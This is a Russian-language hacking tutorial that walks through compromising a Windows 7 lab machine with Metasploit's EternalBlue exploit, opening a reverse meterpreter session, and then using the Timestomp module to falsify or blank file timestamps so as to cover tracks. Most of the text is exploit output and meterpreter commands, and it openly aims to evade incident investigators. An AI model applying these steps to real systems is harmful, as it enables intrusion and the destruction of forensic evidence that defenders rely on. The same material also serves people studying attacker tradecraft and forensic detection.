
Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам. Однако на практике в большинстве случаев, невозможно не взаимодействовать с файловой системой тем или иным образом. Соответственно, для запутывания следов и сокрытие активности вполне разумный шаг – изменение файловых атрибутов, чего можно добиться при помощи модуля Timestomp из Metasploit.
Что такое значения MACE?
Атрибуты файлов представляют собой значения Modified-Accessed-Created-Entry (MACE) в формате дата/время, обновляемых во время определенных операций с файлом. Modified – дата последней модификации файла, Accessed – дата последнего доступа к файлу, Created – дата создания файла, Entry – дата изменения заголовка MTF. Эти атрибуты используются администраторами в том числе при расследовании инцидентов и отслеживании вредоносной активности.
В идеале во время хакинга лучше вообще не оставлять следов. Изменение атрибутов файлов стоит на втором месте по эффективности. Этот метод не является панацеей, но может помочь в сокрытии операций с файловой системой.
С другой стороны, следует помнить и про здравый смысл, поскольку если даты будут сильно в прошлом или будущем, сразу возникнут подозрения. Как и в случае, если во всех четырех атрибутах стоит одна и та же дата и время.
Шаг 1: Настройка рабочей среды
Мы будем использовать копию Windows 7 в качестве целевой системы и Kali Linux в качестве рабочей машины. Вначале нужно создать несколько тестовых файлов в целевой системе. Я также создал новую папку MyFiles, где будут храниться все созданные файлов. Сами файлы могут быть любыми (текстовых более, чем достаточно).
Рисунок 1: Тестовые файлы в целевой системе
Шаг 2: Получение meterpreter-сессии
После всех настроек на рабочей машине в терминале вводим команду msfconsole и запускаем Metasploit.
~# msfconsole
msf5 >
Целевая система уязвима к эксплоиту EternalBlue, который будет использоваться для получения шелла. На самом деле, особого значение не имеет, чем вы будете пользоваться, поскольку все заканчивается получением meterpreter-сессии на целевой машине.
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
Шаг 3: Проверка файлов в целевой системе
После того как целевая система скомпрометирована, вводим команду pwd для просмотра текущей рабочей директории.
meterpreter > pwd
C:\Windows\system32
Поскольку мы создали новую папку на диске C, заходим туда и проверяем наличие созданных ранее файлов.
meterpreter > cd C:/Myfiles
meterpreter > ls
Listing: C:\Myfiles
===================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt
100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt
100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt
100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txt
Шаг 4: Изменение атрибутов файлов при помощи Timestomp
Timestomp представляет собой пост эксплуатационный модуль, доступный в Meterpreter, который можно использовать для модификаций файловых атрибутов (значений MACE). Очень удобно, поскольку мы можем изменить время и дату любого файла, с которым работали, с минимальным риском оказаться обнаруженным.
В meterpreter-сессии для просмотра справочной информации для модуля используем команду timestomp help:
meterpreter > timestomp help
Usage: timestomp <file(s)> OPTIONS
OPTIONS:
-a <opt> Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c <opt> Set the "creation" time of the file
-e <opt> Set the "mft entry modified" time of the file
-f <opt> Set the MACE of attributes equal to the supplied file
-h Help banner
-m <opt> Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z <opt> Set all four attributes (MACE) of the file
1. Просмотр файловых атрибутов
Необходимо указать нужную опцию и имя файла. Например, для просмотра атрибутов MACE используем флаг –v.
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2019-04-08 13:44:25 -0500
Accessed : 2019-04-08 13:43:24 -0500
Created : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -0500
2. Изменение значений Modified, Accessed, Created и Entry Modified
Мы можем изменить любой из этих атрибутов, указав нужную опцию и корректную дату в формате DateTime. Например, для изменения значения «modified» используем флаг –m.
meterpreter >
timestomp
example.
txt -
m "02/14/2012 08:10:03"
[*] Setting specific MACE attributes on example.txt
Теперь при повторном просмотре атрибутов видны изменения.
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2012-02-14 08:10:03 -0600
Accessed : 2019-04-08 13:43:24 -0500
Created : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -0500
Схожим образом изменяется атрибут «accessed» при помощи флага –a.
meterpreter > timestomp example.txt -a "02/14/2012 08:10:03"
[*] Setting specific MACE attributes on example.txt
И атрибут «created» при помощи флага –c.
meterpreter > timestomp example.txt -c "03/11/1999 10:05:01"
[*] Setting specific MACE attributes on example.txt
В завершении меняем атрибут «entry modified», используя флаг –e.
meterpreter > timestomp example.txt -e "04/25/2018 11:11:08"
[*] Setting specific MACE attributes on example.txt
Теперь при просмотре файла видим, что появились изменения.
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2012-02-14 08:10:03 -0600
Accessed : 2012-02-14 08:10:03 -0600
Created : 1999-03-11 10:05:01 -0600
Entry Modified: 2018-04-25 12:11:08 -0500
3. Установка во все атрибуты одного значения
Мы также можем изменить все атрибуты сразу, если хотим, чтобы все значения были одинаковы, при помощи флага –z.
meterpreter > timestomp example.txt -z "10/15/2017 05:30:22"
[*] Setting specific MACE attributes on example.txt
Изменения появились.
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2017-10-15 06:30:22 -0500
Accessed : 2017-10-15 06:30:22 -0500
Created : 2017-10-15 06:30:22 -0500
Entry Modified: 2017-10-15 06:30:22 -0500
4. Перенос значений из другого файла
При помощи флага –f можно унаследовать значения атрибутов из файла, уже существующего в системе. Однако у меня не получился этот трюк.
meterpreter >
timestomp
example.
txt -
f
C:\\
Windows\\
notepad.
exe
[*] Pulling MACE attributes from C:\Windows\notepad.exe
[-] priv_fs_get_file_mace: Operation failed: The handle is invalid.
5. Обнуление значений
Мы можем полностью обнулить атрибуты, используя флаг -b
meterpreter > timestomp example.txt -b
[*] Blanking file MACE attributes on example.txt
Теперь при просмотре атрибутов файла будут показаны бессмысленные даты из будущего.
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2106-02-07 00:28:15 -0600
Accessed : 2106-02-07 00:28:15 -0600
Created : 2106-02-07 00:28:15 -0600
Entry Modified: 2106-02-07 00:28:15 -0600
При помощи флага –r можно рекурсивно обнулить атрибуты всех файлов в текущей директории.
meterpreter > timestomp ./ -r
[*] Blanking directory MACE attributes on ./
Теперь при просмотре на целевой машине все даты оказываются пустыми.
Рисунок 2: Атрибуты файлов после рекурсивного обнуления
Заключение
В этой статье мы немного познакомились с атрибутами файлов и научились запутывать следы. После компрометирования целевой машины и получения meterpreter-сессии мы воспользовались модулем Timestomp и изменили значения MACE. Тем не менее, следует отметить, что метод не является волшебной таблеткой, но все же лучше, чем ничего.
Передаю большой привет белым шляпам J.